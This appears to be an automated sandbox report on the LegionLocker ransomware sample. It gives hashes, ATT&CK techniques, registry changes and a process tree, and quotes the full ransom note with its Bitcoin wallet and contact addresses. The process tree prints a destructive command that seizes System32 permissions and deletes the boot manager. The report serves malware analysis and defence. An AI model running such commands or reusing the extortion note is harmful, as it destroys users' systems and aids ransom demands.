a4e002898d11ea511868a11a43dd29011dbe97bcbd9ee4b9fbcb0520d860f975

Analysis

max time kernel
151s
max time network
119s
platform
windows10_x64
resource
win10v20210408
submitted
26-07-2021 04:55

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General

Target

LegionLocker4.1.exe
Size

3.2MB
MD5

563059c1ba238fb233200b053327313d
SHA1

c50908fe140fe127a6c2168ad7a07df6b9836186
SHA256

a4e002898d11ea511868a11a43dd29011dbe97bcbd9ee4b9fbcb0520d860f975
SHA512

9bbfe87044543ecf7fc6c865fad533ce864309c63cbff070c7f69ec1373392d149628c58bc7312bf72aae2aaecd6874c5ec95542042df6f34d65570da5d810bb

Score

10^/10

discovery evasion exploit persistence ransomware spyware stealer themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\LegionReadMe.txt

Ransom Note

Ooops! All your important files are encrypted! What happend to my computer? All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $50. How do i pay? Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom of the sheet. Contact: 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) In case of no anwser in 72 hours write us to this email: [email protected] What if i already paid? Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software, it may cause pernament data loss. Our Bitcoin address: 131fjhrB4wH8j6adZXudp1Wn23pR33tpAh

Emails

[email protected]

Wallets

131fjhrB4wH8j6adZXudp1Wn23pR33tpAh

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "empty"	LegionLocker4.1.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497
Disables Task Manager via registry modification
evasion

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\FormatSplit.raw => C:\Users\Admin\Pictures\FormatSplit.raw.82uqjb1k5wya30pbb1nisyr68himefklnyhfdsfdrt8sbaxd2ju0	LegionLocker4.1.exe
File renamed	C:\Users\Admin\Pictures\SetFormat.png => C:\Users\Admin\Pictures\SetFormat.png.82uqjb1k5wya30pbb1nisyr68himefklnyhfdsfdrt8sbaxd2ju0	LegionLocker4.1.exe

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
3704	icacls.exe
2776	takeown.exe
1928	icacls.exe
2096	takeown.exe
1124	takeown.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	LegionLocker4.1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	LegionLocker4.1.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1124	takeown.exe
3704	icacls.exe
2776	takeown.exe
1928	icacls.exe
2096	takeown.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/3008-116-0x0000000000B80000-0x0000000000B81000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	LegionLocker4.1.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wp.bmp"	LegionLocker4.1.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3008	LegionLocker4.1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	LegionLocker4.1.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2136	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe
3008	LegionLocker4.1.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3008	LegionLocker4.1.exe
Token: SeDebugPrivilege	3008	LegionLocker4.1.exe
Token: SeTakeOwnershipPrivilege	1124	takeown.exe
Token: SeTakeOwnershipPrivilege	2776	takeown.exe
Token: SeTakeOwnershipPrivilege	2096	takeown.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 2296	3008	LegionLocker4.1.exe	75
PID 3008 wrote to memory of 2296	3008	LegionLocker4.1.exe	75
PID 3008 wrote to memory of 2296	3008	LegionLocker4.1.exe	75
PID 2296 wrote to memory of 1124	2296	cmd.exe	77
PID 2296 wrote to memory of 1124	2296	cmd.exe	77
PID 2296 wrote to memory of 1124	2296	cmd.exe	77
PID 2296 wrote to memory of 3704	2296	cmd.exe	78
PID 2296 wrote to memory of 3704	2296	cmd.exe	78
PID 2296 wrote to memory of 3704	2296	cmd.exe	78
PID 2296 wrote to memory of 2776	2296	cmd.exe	79
PID 2296 wrote to memory of 2776	2296	cmd.exe	79
PID 2296 wrote to memory of 2776	2296	cmd.exe	79
PID 2296 wrote to memory of 1928	2296	cmd.exe	80
PID 2296 wrote to memory of 1928	2296	cmd.exe	80
PID 2296 wrote to memory of 1928	2296	cmd.exe	80
PID 2296 wrote to memory of 2096	2296	cmd.exe	81
PID 2296 wrote to memory of 2096	2296	cmd.exe	81
PID 2296 wrote to memory of 2096	2296	cmd.exe	81
PID 3008 wrote to memory of 2204	3008	LegionLocker4.1.exe	86
PID 3008 wrote to memory of 2204	3008	LegionLocker4.1.exe	86
PID 3008 wrote to memory of 2204	3008	LegionLocker4.1.exe	86
PID 2204 wrote to memory of 2944	2204	cmd.exe	88
PID 2204 wrote to memory of 2944	2204	cmd.exe	88
PID 2204 wrote to memory of 2944	2204	cmd.exe	88
PID 3008 wrote to memory of 2136	3008	LegionLocker4.1.exe	89
PID 3008 wrote to memory of 2136	3008	LegionLocker4.1.exe	89
PID 3008 wrote to memory of 2136	3008	LegionLocker4.1.exe	89

C:\Users\Admin\AppData\Local\Temp\LegionLocker4.1.exe
"C:\Users\Admin\AppData\Local\Temp\LegionLocker4.1.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies extensions of user files
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && Exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2296
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1124
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32 /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3704
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\drivers
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2776
- - C:\Windows\SysWOW64\icacls.exe
    icacls C:\Windows\System32\drivers /grant Admin:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1928
- - C:\Windows\SysWOW64\takeown.exe
    takeown /f C:\Windows\System32\LogonUI.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:2096
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k rundll32 user32.dll,UpdatePerUserSystemParameters && Exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2204
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32 user32.dll,UpdatePerUserSystemParameters
    3⤵
    PID:2944
- C:\Windows\SysWOW64\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\LegionReadMe.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2136

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

memory/3008-120-0x0000000006430000-0x0000000006431000-memory.dmp

Filesize
4KB

Download
memory/3008-121-0x0000000006450000-0x00000000064E2000-memory.dmp

Filesize
584KB

Download
memory/3008-115-0x00000000771E0000-0x000000007736E000-memory.dmp

Filesize
1.6MB

Download
memory/3008-119-0x0000000006520000-0x0000000006521000-memory.dmp

Filesize
4KB

Download
memory/3008-118-0x0000000006A20000-0x0000000006A21000-memory.dmp

Filesize
4KB

Download
memory/3008-131-0x0000000006450000-0x00000000064E2000-memory.dmp

Filesize
584KB

Download
memory/3008-116-0x0000000000B80000-0x0000000000B81000-memory.dmp

Filesize
4KB

Download